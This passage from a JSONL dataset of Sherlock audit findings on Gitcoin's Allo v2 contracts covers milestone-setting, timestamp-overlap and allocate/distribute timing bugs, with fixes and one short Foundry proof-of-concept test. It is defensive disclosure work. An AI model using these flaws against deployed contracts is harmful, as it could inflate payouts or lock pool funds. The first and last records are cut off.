70%).\n // Total milestones percentage is 200% at the moment.\n assertEq(milestoneArrayAfterSecondTime.length, 4);\n }\n```\n\nHere is the test results below:\n\n```solidity\nRunning 1 test for test/foundry/strategies/RFPSimpleStrategy.t.sol:RFPSimpleStrategyTest\n[PASS] test_setMilestoneAgainAndAgainBeforeDistribute() (gas: 446981)\nTest result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.33ms\n \nRan 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)\n```\n\n## Impact\nTotal milestone `amountPercentage` will be higher than 100%, and milestones array length will be greater than the expected array length. This will cause some other functions depending on `milestones.length` not revert when they should revert. (e.g. [`submitUpcomingMilestone()`](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L260), [`_distribute()`](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L425))\n\n## Code Snippet\n[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L228C1-L228C69](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L228C1-L228C69)\n\n```solidity\n /// @notice Set the milestones for the acceptedRecipientId.\n /// @dev 'msg.sender' must be a pool manager to set milestones. Emits 'MilestonesSet' event\n /// @param _milestones Milestone[] The milestones to be set\n function setMilestones(Milestone[] memory _milestones) external onlyPoolManager(msg.sender) {\n--> if (upcomingMilestone != 0) revert MILESTONES_ALREADY_SET(); //@audit upcomingMilestone is not updated in this function. It is still 0. It will be updated in distribute\n\n uint256 totalAmountPercentage;\n\n // Loop through the milestones and add them to the milestones array\n uint256 milestonesLength = _milestones.length;\n for (uint256 i; i < milestonesLength;) {\n totalAmountPercentage += _milestones[i].amountPercentage;\n milestones.push(_milestones[i]);\n\n unchecked {\n i++;\n }\n }\n\n // Check if the all milestone amount percentage totals to 1e18(100%)\n if (totalAmountPercentage != 1e18) revert INVALID_MILESTONE();\n\n emit MilestonesSet();\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nInstead of using `if (upcomingMilestone != 0)` to check if the milestones already set, create a bool and use it for the check.\nFor example:\n```solidity\n function setMilestones(Milestone[] memory _milestones) external onlyPoolManager(msg.sender) {\n+ if (isMilestonesSet) revert MILESTONES_ALREADY_SET();\n\n // skipping this part for brevity \n\n+ isMilestonesSet = true \n emit MilestonesSet();\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//010-M/486.md"}} +{"title":"Set milestones in `RFPSimpleStrategy` can exceed 100% `totalAmountPercentage` which may lead to multiple issues","severity":"medium","body":"Future Sangria Giraffe\n\nhigh\n\n# Set milestones in `RFPSimpleStrategy` can exceed 100% `totalAmountPercentage` which may lead to multiple issues\n\nMilestones can potentially be set in a way so that they exceed 100% of the `totalAmountPercentage` inside `RFPSimpleStrategy`, leading to further issues with pool token distribution.\n\n## Vulnerability Detail\n\nWhen milestones are set via `RFPSimpleStrategy.setMilestones()`, the \n`totalAmountPercentage` has to be equal to `1e18` (100%), otherwise the tx reverts on line 244 in RFPSimpleStrategy.sol.\n\nHowever milestones can be set in a way so that their `totalAmountPercentage` is higher than `1e18`. Example:\n\n1. `RFPSimpleStrategy.setMilestones()` gets called with 5 milestones, each milestone has an `amountPercentage` of 20% (`1e18/5`), thus passing the check on line 244 in RFPSimpleStrategy.sol, since the total percentage is 100% (1e18). Note that the milestones are added to the `milestones` storage variable on line 236 in RFPSimpleStrategy.sol by pushing them into the `milestones` array.\n1. `RFPSimpleStrategy.setMilestones()` gets called again afterwards with another 5 milestones, and each milestone has an `amountPercentage` of 20% (`1e18/5`) again. The tx doesn't revert on line 244 in RFPSimpleStrategy.sol because the `totalAmountPercentage` is equal to `1e18` again.\n1. As a result 10 milestones were added, each with an `amountPercentage` of 20% (`1e18/5`), resulting in a total amount percentage of 200% (2e18) for all 10 milestones that are tracked in the `milestones` storage variable.\n\n## Impact\n\nWhen an upcoming milestone is distributed via `RFPSimpleStrategy._distribute()`, the tx might revert if the distributed milestone exceeds the 100% `totalAmountPercentage`, since there may be not enough funds available in the strategy to transfer the tokens to the recipient.\n\nOr if there are enough funds available in the strategy, the amount of tokens distributed to the recipient might exceed the amount they are eligible to receive, thus leading to a loss of funds.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L227-L247\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417-L450\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider removing all elements from the `milestones` array inside `RFPSimpleStrategy.setMilestones()` to make sure that `totalAmountPercentage` can never exceed 1e18:\n\n```solidity\n// RFPSimpleStrategy\n227 function setMilestones(Milestone[] memory _milestones) external onlyPoolManager(msg.sender) {\n228 if (upcomingMilestone != 0) revert MILESTONES_ALREADY_SET();\n229\n230 delete milestones; // <-- @audit remove all milestones first\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//010-M/457.md"}} +{"title":"Changing already-set milestones leads to paying incorrect amount","severity":"medium","body":"Merry Punch Caterpillar\n\nmedium\n\n# Changing already-set milestones leads to paying incorrect amount\n\nRFPSimpleStrategy.setMilestones() appends onto the `milestones` array instead of replacing what's already there. This means that calling setMilestones() a second time leaves the original milestones intact. If the pool owner changes the milestones and expects setMilestones() to behave as advertised, they will pay the wrong amount.\n\nthelostone-mc from the protocol team said that it is intended that this method be callable multiple times, with each time replacing the previous milestones.\n\n## Vulnerability Detail\n\n1. The Foo project creates a pool and funds it to 100k USDC\n2. The Foo project calls setMilestones, creating a single milestone of 100%. The `milestones` array currently looks like this\n\n0: Milestone(1e18, Metadata(...), Status.NONE)\n\n3. The Foo project decides they instead want to have a two-milestone system. They call setMilestones again with two milestones of 50% each. They expect the `milestones` array to look like this:\n\n0: Milestone(5e17, Metadata(...), Status.NONE)\n1: Milestone(5e17, Metadata(...), Status.NONE)\n\nHOWEVER, because of a bug in setMilestones, it actually looks like this\n\n0: Milestone(1e18, Metadata(...), Status.NONE)\n1: Milestone(5e17, Metadata(...), Status.NONE)\n2: Milestone(5e17, Metadata(...), Status.NONE)\n\n4. Either one of the following happens:\n4a. The protocol team does not realize that setMilestones() is broken. They believe that Milestone 0 is for 50%. The RFP winner submits her first milestone, and the team approves and pays, and then discovers she was paid 100% instead of 50%\n4b. The protocol team does realize that setMilestones() is broken. They withdraw all funds and start over with a new pool, but in the meantime have lost the (quite substantial) fees needed to fund the pool.\n\n## Impact\n\nWith innocuous usage, someone can get paid too much for their milestone.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L227-L241\n\nPay particular attention to the `milestones.push()` call.\n\n```solidity\nfunction setMilestones(Milestone[] memory _milestones) external onlyPoolManager(msg.sender) {\n if (upcomingMilestone != 0) revert MILESTONES_ALREADY_SET();\n\n uint256 totalAmountPercentage;\n\n // Loop through the milestones and add them to the milestones array\n uint256 milestonesLength = _milestones.length;\n for (uint256 i; i < milestonesLength;) {\n totalAmountPercentage += _milestones[i].amountPercentage;\n milestones.push(_milestones[i]);\n\n unchecked {\n i++;\n }\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nClear the milestones array at the start of setMilestones()","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//010-M/376.md"}} +{"title":"wrong check in RFPSimpleStrategy.setMilestones() allows one pool manager to overwrite the milestones set by a previous pool manager","severity":"medium","body":"Fresh Indigo Platypus\n\nmedium\n\n# wrong check in RFPSimpleStrategy.setMilestones() allows one pool manager to overwrite the milestones set by a previous pool manager\nFor each pool, once a pool manager sets the milestones, the milestones cannot be replaced. This is achieved by the check of ``upcomingMilestone != 0``. Unfortunately, this check will not prevent another pool manager to call ``setMilestones()`` and set new milestones since ``upcomingMilestone`` will not be increased until ``_distribute()`` is called. \n\n\n## Vulnerability Detail\n\nOnce a pool's milestones have been set by one pool manager, another pool manager should not replace them. This is supposed to be prevented by the check of ``upcomingMilestone != 0`` in function ``RFPSimpleStrategy.setMilestones()``:\n\n[https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L227-L247](https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L227-L247)\n\nHowever, such a check will fail to prevent the overwriting of existing milestones. This is because ``upcomingMilestone`` will not be increased by ``RFPSimpleStrategy.setMilestones()``, not by ``submitUpcomingMilestone()``, and only by ``_distribute()``:\n\n[https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417-L450](https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417-L450)\n\nThis means, even after an upcoming milestone is submitted via ``submitUpcomingMilestone()`` , existing milestones can still be replaced by another pool manager by calling ``RFPSimpleStrategy.setMilestones()`` since variable ``upcomingMilestone`` will always be equal to zero before ``_distributed()`` is called. \n\n## Impact\nOne pool manager can overwrite the milestones set by a previous pool manager before ``_distribute()`` is called. A violation of the design principle. \n\n## Code Snippet\n\n## Tool used\nVSCode\n\nManual Review\n\n## Recommendation\nSet a flag to indicate that milestones have been set, so that another call of ``RFPSimpleStrategy.setMilestones()`` will fail when the flag is set.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//010-M/372.md"}} +{"title":"Multiple Calls to `setMilestones()` Allowed Before Completing First `upcomingMilestone`","severity":"medium","body":"Little Cloth Coyote\n\nmedium\n\n# Multiple Calls to `setMilestones()` Allowed Before Completing First `upcomingMilestone`\nPool Manager can `setMilestones()` multiple times before the first `upcomingMilestone` is completed. \n\n## Vulnerability Detail\nThe intended design of RFPSimpleStrategy aims to enable the pool manager to set milestones only once, with no option to add more unless a new pool is deployed. However, the current implementation of `setMilestones()` allows the pool manager to keep adding milestones before the first `upcomingMilestones` is completed.\n\n```solidity\n function setMilestones(Milestone[] memory _milestones) external onlyPoolManager(msg.sender) {\n if (upcomingMilestone != 0) revert MILESTONES_ALREADY_SET();\n\n uint256 totalAmountPercentage;\n\n // Loop through the milestones and add them to the milestones array\n uint256 milestonesLength = _milestones.length;\n for (uint256 i; i < milestonesLength;) {\n totalAmountPercentage += _milestones[i].amountPercentage;\n milestones.push(_milestones[i]);\n\n unchecked {\n i++;\n }\n }\n\n // Check if the all milestone amount percentage totals to 1e18(100%)\n if (totalAmountPercentage != 1e18) revert INVALID_MILESTONE();\n\n emit MilestonesSet();\n }\n```\nSafety checks can be circumvented as long as the `totalAmountPercent` sums up to 1e18. This problem may arise unintentionally, and the pool manager may not be aware of it.\n\nConsider the following scenario:\n\n1. The pool manager initially adds a set of milestones, with percentages totaling 100%.\n2. A second set of milestones is added before first `upcomingMilestone` is completed, which also sums up to 100%.\n3. However, the pool lacks the funds required to `distribute()` the rewards for the completed second set of milestones\n\n## Impact\nIt allows the pool manager to repeatedly set milestones before the completion of the first upcoming milestone. This could lead to unexpected behavior and may result in situations where there are insufficient funds to distribute for the milestones that have been added but not yet completed. It can potentially disrupt the intended flow of milestone management.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L227\n## Tool used\n\nManual Review\n\n## Recommendation\n```solidity\n function setMilestones(Milestone[] memory _milestones) external onlyPoolManager(msg.sender) {\n- if (upcomingMilestone != 0) revert MILESTONES_ALREADY_SET();\n+ if(milestones.length != 0) revert MILESTONES_ALREADY_SET();\n uint256 totalAmountPercentage;\n\n // Loop through the milestones and add them to the milestones array\n uint256 milestonesLength = _milestones.length;\n for (uint256 i; i < milestonesLength;) {\n totalAmountPercentage += _milestones[i].amountPercentage;\n milestones.push(_milestones[i]);\n\n unchecked {\n i++;\n }\n }\n\n // Check if the all milestone amount percentage totals to 1e18(100%)\n if (totalAmountPercentage != 1e18) revert INVALID_MILESTONE();\n\n emit MilestonesSet();\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//010-M/257.md"}} +{"title":"RFPSimpleStrategy milestones can be set multiple times","severity":"medium","body":"Silly Carob Opossum\n\nmedium\n\n# RFPSimpleStrategy milestones can be set multiple times\n\nUntil the first distribution is completed, it's possible to call `setMilestones` function multiple times. New milestones are added to the previous ones. The `totalAmountPercentage` of all milestones in this case will be greater than 100%. It also affects all the contracts that are inherited from RFPSimpleStrategy.\n\n## Vulnerability Detail\n\nThe `setMilestones` function in `RFPSimpleStrategy` contract checks if `MILESTONES_ALREADY_SET` or not by `upcomingMilestone` index.\n\n```solidity\nif (upcomingMilestone != 0) revert MILESTONES_ALREADY_SET();\n```\n\nBut `upcomingMilestone` increases only after distribution, and until this time will always be equal to 0.\n\n## Impact\n\nIt can accidentally break the pool state or be used with malicious intentions.\n\n1. Two managers accidentally set the same milestones. Milestones are duplicated and can't be reset, the pool needs to be recreated.\n2. The manager, in cahoots with the recipient, sets milestones one by one, thereby bypassing `totalAmountPercentage` check and increasing the payout amount.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L224-L247\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nFix condition if milestones should only be set once. \n\n```solidity\nif (milestones.length > 0) revert MILESTONES_ALREADY_SET();\n```\n\nOr allow milestones to be reset while they are not in use.\n\n\n```solidity\nif (milestones.length > 0) {\n if (milestones[0].milestoneStatus != Status.None) revert MILESTONES_ALREADY_IN_USE();\n delete milestones;\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//010-M/176-best.md"}} +{"title":"Recipients can still be registered after the vote has started.","severity":"medium","body":"Ambitious Lemonade Chipmunk\n\nmedium\n\n# Recipients can still be registered after the vote has started.\nThe end time for the registration must be earlier than the start time for the allocation, otherwise recipients can still be registered after the vote has started.\n\n## Vulnerability Detail\nThe end time for the registration must be earlier than the start time for the allocation.\n**_registrationEndTime > _allocationEndTime** should be changed to **_registrationEndTime > _allocationStartTime**.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L341-L348\n\n## Impact\nRecipients can still be registered after the vote has started.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L341-L348\n\n## Tool used\n\nManual Review\n\n## Recommendation\n**_registrationEndTime > _allocationEndTime** should be changed to **_registrationEndTime > _allocationStartTime**.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//009-M/757.md"}} +{"title":"[M-01] Allocation can start before registration ends. Which can break things in strategies.","severity":"medium","body":"Electric Tiger Bull\n\nmedium\n\n# [M-01] Allocation can start before registration ends. Which can break things in strategies.\n\nAllocation can start before registration ends. Which can break things in strategies. When using `QVBaseStrategy` and `DonationVotingMerkleDistributionBaseStrategy` .\n\n## Vulnerability Detail\n\nThe way that timestamps are set or specifically, validated right now allows `Allocation` to start before `Registration` ends. I havent git a clear answer from the protocol team regarding whether this is intended or not, but even if it is intended, this can potentially break some stuff in `QVBaseStrategy` and `DonationVotingMerkleDistributionBaseStrategy`. \n\nIf `_registerRecipient` is called while `Allocation` is active on both [QVBaseStrategy](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L369C3-L430C6) and [DonationVotingMerkleDistributionBaseStrategy](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L528C4-L601C6) This can completely modify the effects of `reviewRecipients` and rewrite the status of already 'reviewed' recipients. This can cause rewards being falsely distributed or even stuck as well.\n\nOf course there is a check to see if the caller is a member of the pool. Since the members are 'trusted' then the likelihood is low, thus the impact will be medium, if those roles are not to be trusted, then impact can potentially be high.\n\n## Impact\n\nRecipient statuses can be modified and altered causing funds to sent falsely or get stuck.\n\n## Code Snippet\n\nThis is the check to validate timestamps in both strategies. As we can see, it allows `allocationStartTime` to be less than `registrationEndTime`.\n\n```javascript\n if (\n block.timestamp > _registrationStartTime || _registrationStartTime > _registrationEndTime\n || _registrationStartTime > _allocationStartTime || _allocationStartTime > _allocationEndTime\n || _registrationEndTime > _allocationEndTime \n ) {//@audit I think we can start allocation before registration ends\n revert INVALID();\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider adding check to revert if allocation can start before registration ends:\n```javascript\n if (\n block.timestamp > _registrationStartTime || _registrationStartTime > _registrationEndTime\n || _registrationStartTime > _allocationStartTime || _allocationStartTime > _allocationEndTime\n || _registrationEndTime > _allocationEndTime || _registrationEndTime > _allocationStartTime \n ) {\n revert INVALID();\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//009-M/751-best.md"}} +{"title":"Overlapping registration and fund allocation times might result in an unfair competition","severity":"medium","body":"Young Tiger Snake\n\nmedium\n\n# Overlapping registration and fund allocation times might result in an unfair competition\nMerkleRoot and QV strategies have a registration and allocation time windows which might overlap. One of the implications of this is unfair competition since upon resubmission recipient will have to wait to get an approval first before becoming eligible for funding.\n\n## Vulnerability Detail\n\n```solidity\n function _isPoolTimestampValid(\n uint64 _registrationStartTime,\n uint64 _registrationEndTime,\n uint64 _allocationStartTime,\n uint64 _allocationEndTime\n ) internal view {\n if (\n block.timestamp > _registrationStartTime || _registrationStartTime > _registrationEndTime\n || _registrationStartTime > _allocationStartTime || _allocationStartTime > _allocationEndTime\n || _registrationEndTime > _allocationEndTime\n ) {\n revert INVALID();\n }\n }\n```\n\nMerkle:\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L496-L509\n\nQV voting:\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L335-L348\n\nThere's nothing preventing a pool owner from creating a pool with overlapping registration and allocation windows. While it may see ok at the first glance there are some serious downsides of this approach which are:\n1. If a recipient comes up with a better proposal and resubmit they won't be able to get the funds since pool managers have to reapprove them first. With a high enough backlog of submissions this might take some time for pool managers to sort out. An allocator (sponsor) will see the project is not approved yet and might decide to back other projects instead.\n2. While the doc is not clear about this it seems Metadata has a link to project's landing page / whitepaper\nhttps://github.com/allo-protocol/allo-contracts/blob/main/docs/MetaPtrProtocol.md. Since it can be changed by a recipient during registration phase (which can overlap with allocation) this might put sponsors in a really uncomfortable situation, i.e they're unhappy with the new proposal but they have already allocated funds (say via direct transfer). \n\n## Impact\n- Unfair competition. Recipients who resubmit will get less time for funding.\n- Recipients might reapply with a completely different application. Existing allocators might be unhappy about it but funds were already sent, i.e merkle direct transfer strategy.\n\n## Code Snippet\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nIn my opinion the registration and funding windows should not overlap. There's a set deadline and finite amount of capital from sponsors and if a project is not eligible due to resubmission it'll be at an unfair disadvantage. Potentially not raising enough capital to complete the project.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//009-M/686.md"}} +{"title":"`QVSimpleStrategy` It should be ensured that `allocationStartTime > registrationEndTime` to ensure that the allocator can make a selection among all accepted recipients.","severity":"medium","body":"Tart Citron Platypus\n\nmedium\n\n# `QVSimpleStrategy` It should be ensured that `allocationStartTime > registrationEndTime` to ensure that the allocator can make a selection among all accepted recipients.\n\n## Vulnerability Detail\n\nSince the allocator cannot change the votes, new accepted recipients should not be added during the allocation period.\n\nOtherwise, it would be unfair to the recipients who join later, as their chances of being voted and selected will be reduced.\n\n\nDuring the period $\\left [ allocationStartTime, allocationEndTime \\right ]$, `allocate()` is allowed.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L254-L288\n\nDuring the period from `registrationStartTime` to `registrationEndTime`, `recipients[recipientId].recipientStatus` can be changed to `Status.Accepted` to increase the number of accepted recipients.\n\nTo ensure that the two time intervals mentioned above do not overlap, it is necessary to ensure that `registrationEndTime` is less than `allocationStartTime`.\n\nIn the current implementation, only `registrationStartTime <= allocationStartTime` is required, allowing `registrationEndTime` to be less than `allocationStartTime`.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L335-L360\n\n## Impact\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L107-L124\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L129-L131\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L176-L179\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L318-L322\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider changing to:\n\n```solidity=335{342-345}\n function _updatePoolTimestamps(\n uint64 _registrationStartTime,\n uint64 _registrationEndTime,\n uint64 _allocationStartTime,\n uint64 _allocationEndTime\n ) internal {\n // validate the timestamps for this strategy\n if (\n block.timestamp > _registrationStartTime || _registrationStartTime >= _registrationEndTime\n || _registrationEndTime >= _allocationStartTime || _allocationStartTime >= _allocationEndTime\n ) {\n revert INVALID();\n }\n\n // Set the new values\n registrationStartTime = _registrationStartTime;\n registrationEndTime = _registrationEndTime;\n allocationStartTime = _allocationStartTime;\n allocationEndTime = _allocationEndTime;\n\n // emit the event\n emit TimestampsUpdated(\n registrationStartTime, registrationEndTime, allocationStartTime, allocationEndTime, msg.sender\n );\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//009-M/682.md"}} +{"title":"`distribute()` may be distributed in unexpected proportions due to the lack of guarantee that `distribute()` is executed after all `allocate()`.","severity":"medium","body":"Tart Citron Platypus\n\nhigh\n\n# `distribute()` may be distributed in unexpected proportions due to the lack of guarantee that `distribute()` is executed after all `allocate()`.\n\n## Vulnerability Detail\n\nExpected implementation:\n\nThe period allowed for executing `distribute` should not overlap with the period allowed for executing `allocate`.\n\nCurrent implementation:\n\nThe period allowed for executing `distribute` overlaps with the period allowed for executing `allocate` at the allocationEndTime.\n\nThis leads to the possibility of an execution sequence like `allocate()`, `allocate()`, `allocate()`, `distribute()`, `allocate()`.\n\nAllocator and PoolManager can be different personnel.\n\n`allocate` is allowed when `block.timestamp == allocationEndTime`.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L436-L465\n\n\n`distribute` is also allowed when `block.timestamp == allocationEndTime`.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L326-L328\n\nThis is a more practical issue on zkSync Era as the `block.timestamp` on zkSync Era reflects the `block.timestamp` on L1, which means that multiple blocks will share the same `block.timestamp`.\n\n## Impact\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L107-L124\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L318-L323\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider only being able to `allocate()` when `block.timestamp < allocationEndTime` or only being able to `distribute()` when `block.timestamp > allocationEndTime`.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//009-M/656.md"}} +{"title":"In `QVSimpleStrategy` registrations close to the end of the registration period cannot be reviewed by a poolManager","severity":"medium","body":"Dandy Lavender Wombat\n\nmedium\n\n# In `QVSimpleStrategy` registrations close to the end of the registration period cannot be reviewed by a poolManager\n\nIf a user registers close to `registrationEndTime` the poolManager will not have enough time to review the registration since `reviewRecipients` can only be called when the registration period is open\n\n## Vulnerability Detail\n\nIn `QVSimpleStrategy` users can register themselves as potential recipients during the registration period. To become accepted, the registration needs to be reviewed by a poolManager by calling `reviewRecipients`. The problem is that the function `reviewRecipients` has the modifier `onlyActiveRegistration` meaning it can only be called during the registration period. If a user registers close to the end of the registration period, the pool manager will not have time to review the registration until the registration period ends. \n\n\n## Impact\n\nNot all registrations will be reviewed, and the purpose of a registration period will be negated\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L254-L259\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider adding a review period that starts when the registration period starts and ends some time after the registration period is already over. This will give the poolManager enough time to review every registration for the pool.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//009-M/579.md"}} +{"title":"QV strategy allocate() and distribute() can be called in the same block","severity":"medium","body":"Boxy Clay Ladybug\n\nhigh\n\n# QV strategy allocate() and distribute() can be called in the same block\nIn the QV strategy contracts the functions `allocate()` and `distribute()` can be called in the same block contrary to the developers intentions. In the current implementation this leads to a potential DoS scenario but more importantly this could break future integrations of the strategy by other contracts or off-chain components that rely on the correctness of the `onlyActiveAllocation` & `onlyAfterAllocation` modifiers.\n## Vulnerability Detail\nBelow are the underlying implementations of the mentioned modifiers - the first one is used with the `allocate()` function and the second one is used with `distribute()` i.e we want to distribute funds only after allocations have ended. The issue is that if `block.timestamp` = `allocationEndTime` the `_checkOnlyAfterAllocation()` won't revert since `block.timestamp` isn't `<` `allocationEndTime` (they are equal), therefore at the `allocationEndTime` block both `allocate()` and `distribute()` can be executed which already breaks the developers intentions.\n```solidity\nfunction _checkOnlyActiveAllocation() internal view virtual {\n if (allocationStartTime > block.timestamp || block.timestamp > allocationEndTime) {\n revert ALLOCATION_NOT_ACTIVE();\n }\n }\n```\n\n```solidity\nfunction _checkOnlyAfterAllocation() internal view virtual {\n if (block.timestamp < allocationEndTime) revert ALLOCATION_NOT_ENDED();\n }\n```\nA specific scenario where this could have serious impact is if we have multiple `distribute()` invocations - this is possible since `distribute()` accepts an array of recipients and could be called many times as long as the passed array contains recipients that haven't been paid out ( this could also be done by some off-chain or contract implementation that communicates with the strategy ). The severe impact is achieved when an allocator executes `allocate()` in between the `distribute()` invocations ( again we could have allocator logic (in good faith) that relies on the modifiers to revert on a `allocate()` invocation and doesn't know about the ongoing `distribute()` calls ). In such a scenario where we have `distribute` - `allocate` - `distribute` the increase in `totalRecipientVotes` will make the subsequent `distribute()` calls disproportionate since `distribute` has already paid some recipients at a lower `totalRecipientVotes` (also note that `distribute()` doesn't decrement from `poolAmount` ), therefore some subsequent calls to `distribute()` after the wrongful `allocate()` will inevitably revert and the recipients won't be able to receive their funds, moreover, the QV strategy doesn't implement a `withdraw` mechanism and 